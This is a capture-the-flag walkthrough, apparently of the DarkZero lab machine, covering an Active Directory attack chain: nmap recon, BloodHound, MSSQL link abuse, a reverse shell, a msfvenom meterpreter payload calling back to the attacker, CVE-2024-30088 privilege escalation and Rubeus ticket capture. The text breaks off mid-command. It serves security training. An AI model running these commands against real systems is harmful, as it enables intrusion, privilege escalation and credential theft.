# DarkZero ## Initial Recon First, we start with a port scan using nmap: ```shell nmap -sVC -Pn -vvv 10.129.28.186 ``` ```shell PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack Simple DNS Plus 88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-04-07 03:26:44Z) 135/tcp open msrpc syn-ack Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.darkzero.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.darkzero.htb | Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-07-29T11:40:00 | Not valid after: 2026-07-29T11:40:00 | MD5: ce57 1ac8 da76 eb62 efe8 4e85 045b d440 | SHA-1: 603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c | SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c | -----BEGIN CERTIFICATE----- | MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF | ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl | cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN | MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw | DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA | n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw | nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR | yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA | jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3 | gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA | AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy | AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P | AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG | SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB | AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9 | RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7 | ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv | LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj | ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o | dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS | TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH | MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp | YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s | REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz | cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB | oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB | gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4 | OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f | CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs | oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP | gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj | Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs | 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl | IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ | a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1 | /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY | pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6 | j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY | TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF |_-----END CERTIFICATE----- 445/tcp open microsoft-ds? syn-ack 464/tcp open kpasswd5? syn-ack 593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.darkzero.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.darkzero.htb | Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-07-29T11:40:00 | Not valid after: 2026-07-29T11:40:00 | MD5: ce57 1ac8 da76 eb62 efe8 4e85 045b d440 | SHA-1: 603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c | SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c | -----BEGIN CERTIFICATE----- | MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF | ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl | cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN | MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw | DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA | n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw | nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR | yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA | jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3 | gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA | AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy | AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P | AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG | SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB | AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9 | RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7 | ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv | LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj | ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o | dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS | TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH | MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp | YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s | REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz | cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB | oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB | gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4 | OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f | CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs | oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP | gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj | Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs | 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl | IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ | a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1 | /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY | pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6 | j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY | TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 2179/tcp open vmrdp? syn-ack 3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.darkzero.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.darkzero.htb | Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-07-29T11:40:00 | Not valid after: 2026-07-29T11:40:00 | MD5: ce57 1ac8 da76 eb62 efe8 4e85 045b d440 | SHA-1: 603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c | SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c | -----BEGIN CERTIFICATE----- | MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF | ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl | cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN | MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw | DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA | n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw | nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR | yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA | jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3 | gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA | AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy | AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P | AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG | SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB | AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9 | RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7 | ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv | LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj | ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o | dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS | TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH | MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp | YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s | REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz | cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB | oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB | gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4 | OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f | CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs | oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP | gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj | Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs | 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl | IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ | a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1 | /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY | pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6 | j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY | TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF |_-----END CERTIFICATE----- 3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.darkzero.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.darkzero.htb | Issuer: commonName=darkzero-DC01-CA/domainComponent=darkzero | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-07-29T11:40:00 | Not valid after: 2026-07-29T11:40:00 | MD5: ce57 1ac8 da76 eb62 efe8 4e85 045b d440 | SHA-1: 603a f638 aabb 7eaa 1bdb 4256 5869 4de2 98b6 570c | SHA-256: 1c29 ea3b 7806 d312 afe0 d55a baf9 67a1 bcdf ac9b c561 0afc 4a1e 0b3c 6942 502c | -----BEGIN CERTIFICATE----- | MIIHNzCCBR+gAwIBAgITUgAAAAO4Lw91dEi9jwAAAAAAAzANBgkqhkiG9w0BAQsF | ADBKMRMwEQYKCZImiZPyLGQBGRYDaHRiMRgwFgYKCZImiZPyLGQBGRYIZGFya3pl | cm8xGTAXBgNVBAMTEGRhcmt6ZXJvLURDMDEtQ0EwHhcNMjUwNzI5MTE0MDAwWhcN | MjYwNzI5MTE0MDAwWjAcMRowGAYDVQQDExFEQzAxLmRhcmt6ZXJvLmh0YjCCASIw | DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALtgbmGxyLJnTefHNna7EjMScNUA | n0C+Q4T4jkD9YjX+wpNOXHgmnrqpo8wYV0gQAGK9bnTYC8RJb7vWSZrI3MP+/dHw | nB6AuOXvz6ahChE6C6wlnxMjD9NeJtwzq/RSpHjBFRc+sfGPbX32Y2CEjqzJISHR | yOnbnuldHK3I4UNKVN28miXaB/dqrK3/Z6rFOuPWbnEqMuYV4LQh4tvxYb5QALUA | jTwITLAp1prBoUQkdF5UAcpc/oIuP6VKYpjvv+m/yMuvaDIS+QtjRkP+4+ES0Tk3 | gZ489D4lkgndvw6Oz7MwZtpTXwAvmEWb6L0Pg+M0Vd5UjnkxNUiUsAGKgAECAwEA | AaOCA0IwggM+MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdABy | AG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0P | AQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqG | SIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQB | AjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFDd9 | RV4kuWN9NU3bdgWvT4UqaXTjMB8GA1UdIwQYMBaAFGapgxh49WSDZkbTTZ9eZ8L7 | ypx7MIHMBgNVHR8EgcQwgcEwgb6ggbuggbiGgbVsZGFwOi8vL0NOPWRhcmt6ZXJv | LURDMDEtQ0EsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2Vydmlj | ZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1kYXJremVybyxEQz1o | dGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNS | TERpc3RyaWJ1dGlvblBvaW50MIHDBggrBgEFBQcBAQSBtjCBszCBsAYIKwYBBQUH | MAKGgaNsZGFwOi8vL0NOPWRhcmt6ZXJvLURDMDEtQ0EsQ049QUlBLENOPVB1Ymxp | YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s | REM9ZGFya3plcm8sREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz | cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MD0GA1UdEQQ2MDSgHwYJKwYBBAGCNxkB | oBIEEOfsqvw66j9ItSxN2uPjJRqCEURDMDEuZGFya3plcm8uaHRiME4GCSsGAQQB | gjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMTUyMTc5OTM1LTU4 | OTEwODE4MC0xOTg5ODkyNDYzLTEwMDAwDQYJKoZIhvcNAQELBQADggIBAL28m69f | CO5DYoe/9OPZ5i7haHUhbbyZSv0LRnJawwCP+YLaA6VWpmqBrqAVZ4lvP74KqRSs | oEkwwX7C8lYEvSA+C97NcpoBzeH9aWCEWC/EaEz3sEL/QKcG7beM04HpP5qIzurP | gqFJXBwmJSTvNPD53pN7edGlvC0tFgvuqXP/7L2xDnsxHeAA98RUl8NW8rwAlijj | Car4Q0gryC682mAISxsHlv3Xp5ID5Ny8XkpIY9/qtVCtBXXDMd4XNzt1lGedHDWs | 1OaZuQvWJMQjKrdFQ59m/bzpLggMlCF7a2TgMJ4wISuJeVXhyd2WXXBQfMigjQVl | IfR+jf2n43K7ZJOjpZizW4sInL6efS9KW7A6XE7Tzx+ZLdko4sj444mwbXnLgTgQ | a9N04FJMp6TKLSRO/Vk0AGD9cpLOwINLM2jgPaepAvfThifKGDX2gA4vfFCEVPp1 | /fLrQDjWwZfKBKchZQZ6RZzj1dfnZDIKhV9JT3Kfy1iIFTl2I8YDSmzumXdS4VgY | pcDf6d2i1duAjNoNvg2pZj7gPzrhzim2g0ezy1Ipcu1AfeJBZ+zlsxpnZ1vPMnQ6 | j2Pwkxplofr8WFcyMBh1lXce8PrTm8+n70sA3D4InyfEhyydgzKsQTmeNbfQCOSY | TwaWbho49qkLrdLNpB0KN4kHVKKweu3cvvcF |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-04-07T03:27:27 |_ start_date: N/A | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 34992/tcp): CLEAN (Timeout) | Check 2 (port 45399/tcp): CLEAN (Timeout) | Check 3 (port 28038/udp): CLEAN (Timeout) | Check 4 (port 18215/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked |_clock-skew: -1m03s | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required ``` As we can see, there is a Domain Control running on DC01.darkzero.htb. * * * ## BloodHound First, we need to sync our machine clock with kerberos: ```shell sudo ntpdate 10.129.28.186 ``` Then we are going to execute bloodhound against the target to gather all the information from Active Directory: ```shell nxc ldap 10.129.28.186 -u john.w -p 'RFulUtONCOL!' --bloodhound --dns-server 10.129.28.186 -c All ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/5d768491-d9a8-476d-8e13-332d958803be.png align="center") ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/82cf448c-2330-4e80-98ea-07205a49691f.png align="center") ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/c6e2c9cc-29c2-4d34-bf68-5fa90dc07fd5.png align="center") As we can see, **DARKZERO.EXT** and **DARKZERO.HTB** have bidirectional trust due to the **CrossForestTrust**, this means that both forests trust each other, this can be util to do a lateral movement. * * * ## MSSQL Now we are going to connect to the **Microsft Server SQL (MSSQL)** service and enumerate every available configuration: ```shell mssqlclient.py 'darkzero.htb/john.w:RFulUtONCOL!@10.129.28.186' -windows-auth ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/c1658eb1-8534-4d4d-ad68-a55b5d633160.png align="center") ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/9a2f56b8-fef6-4ea4-9fb1-7c3565f1c2f4.png align="center") If we take a look at the output from the command **enum\_links**, we'll see that the user **john.w** has local access to **DC02** with the user **svc\_sql** (sql service account). This can be usefull to get a shell and execute commands in the system. ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/64545d7d-f495-4faa-9aa6-89a043217af8.png align="center") * * * ## Revshell After successfully gaining **remote command execution** on the system, we are going to execute a **Powershell** payload which enables us a **reverse shell connection** on the system: ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/2ad04817-07ad-4bac-8361-4d404a12759e.png align="center") First, we need to start a **netcat** listener and then execute the payload: ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/3e48bf5e-9a88-40cf-b069-cfad767c9f29.png align="center") Once received the connection, we'll see that we can't do much as **svc\_sql**, so we need to figure out a way to **escalate privileges** on the system. If we start **enumerating**, we'll see that the system we are inside is **DC02** and it's using an **outdated** version of Windows Server, in this case, we can see **Windows Server 2022** running on the system. ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/c8cb130a-73c0-40fa-9ebe-122d8dc080e1.png align="center") * * * ## DC02 Local Privilege Escalation If we search on **Google** for an **exploit** on **Windows Server 2022**, we'll see that there is a published CVE known as **CVE-2024-30088**, this CVE consists on a **privilege escalation vulnerability on the Windows Kernel** ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/df2f1e08-54c6-4943-9360-17c2f0686617.png align="center") [https://www.rapid7.com/db/modules/exploit/windows/local/cve\_2024\_30088\_authz\_basep/](https://www.rapid7.com/db/modules/exploit/windows/local/cve_2024_30088_authz_basep/) In this case, I used **metasploit** to escalate privileges. First, I created a malicious executable file using the payload **windows/x64/meterpreter/reverse\_tcp** with **msfvenom**: ```shell msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.x.x LPORT=4445 -f exe > msfshell.exe ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/9e5b6d58-a4fd-40de-8f94-c96a1832badd.png align="center") Once uploaded the payload, we need to configure our listener on **metasploit**, once configured, we can run the malicious file and we'll get a **meterpreter** session: ```shell msfconsole -q use multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST tun0 set LPORT 4445 run ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/87a061e6-d3f5-4564-92fe-eaa525e27997.png align="center") As we can see, we've sucessfully received a reverse connection and a new **meterpreter** session has oppened, now, we are going to set this session to background to use the **CVE-2024-30088** module: ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/b80ba8c1-e7b2-427f-b259-73c024aa0bac.png align="center") Once executed the exploit, we'll get access as **NT AUTHORITY\\SYSTEM**, now, we can get the **user flag**: ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/9df54ac9-fee1-4eb8-b064-d838c26a236b.png align="center") * * * ## Moving from DC02 to DC01 If we check the information from **DC02**, we'll see that inside the same network, there is access to the Domain Control **dc01.darkzero.htb** with the IP Address 172.16.20.1 ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/fbab84e9-7cc5-4c70-a2a9-2e9e716ba63f.png align="center") If we take a look back to the **bloodhound** scan, we saw before that both forests (**DARKZERO.EXT** and **DARKZERO.HTB**) trust each other, we can verify this manually with the command: ```shell nltest /domain_trust /server:DC02 ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/eb32c873-e7de-4c89-a387-564f872978f7.png align="center") The command output **confirms** that there is **bidirectional trust** between both forests, this means that **both domains trust in the Kerberos tickets from the other**. Now, inside **DC02** (were we have access as SYSTEM) we are going to use **Rubeus** in monitor mode to capture tickets **TGT** that are moving inside the system in real time: ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/66c1836f-7cf4-4873-b1c5-4778586549c9.png align="center") ```shell .\Rubeus.exe monitor /interval:10 /nowrap ``` ![](https://cdn.hashnode.com/uploads/covers/68aa9d21543a893c94842618/5f08358e-95b2-4c67-821d-3744d531b7ae.png align="center") Once configured **Rubeus** in monitor mode, we need to force the authentication from **DC01** against **DC02**, we can do this through **MSSQL**, first we need to connect to **MSSQL**: ```shell mssqlclient.py 'darkzero.htb/john.w:RFulUtONCOL!@10.129.28.186' 